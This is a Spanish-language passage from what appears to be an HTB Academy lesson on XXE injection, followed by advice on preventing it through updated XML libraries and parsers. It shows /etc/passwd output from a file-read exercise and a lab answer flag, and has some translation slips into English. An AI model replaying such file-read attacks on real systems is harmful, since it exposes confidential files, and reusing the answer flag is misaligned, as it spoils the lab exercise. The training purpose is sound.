root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..
Intente utilizar la herramienta para repetir otros métodos XXE que aprendimos.
Solución:
HTB{1_d0n7_n33d_0u7pu7_70_3xf1l7r473_d474}
Prevención XXE
Hemos visto que las vulnerabilidades XXE ocurren principalmente cuando una entrada
XML insegura hace referencia a una entidad externa, que eventualmente se explota
para leer archivos confidenciales y realizar otras acciones. Prevenir las
vulnerabilidades XXE es relativamente más fácil que prevenir otras vulnerabilidades
web, ya que son causadas principalmente por bibliotecas XML obsoletas.
Nota: Puede encontrar un informe detallado de todas las bibliotecas XML vulnerables,
con recomendaciones sobre cómo actualizarlas y utilizar funciones seguras, en Hoja
de trucos de prevención XXE de OWASP .
Además de actualizar las bibliotecas XML, también debemos actualizar cualquier
componente que analice la entrada XML, como las bibliotecas API como SOAP.
Además, cualquier procesador de documentos o archivos que pueda realizar análisis
XML, como procesadores de imágenes SVG o procesadores de documentos PDF,
también puede ser vulnerable a vulnerabilidades XXE, y también debemos
actualizarlos.
Estos problemas no son exclusivos de las bibliotecas XML, ya que lo mismo se aplica
a todos los demás componentes web (por ejemplo, archivos obsoletos). Node
Modules). Además de los administradores de paquetes comunes (p. ej. npm), los
editores de código comunes notificarán a los desarrolladores web sobre el uso de
componentes obsoletos y sugerirán otras alternativas. Al final, using the latest XML
libraries and web development components can greatly help reduce various web
vulnerabilities, incluido XXE.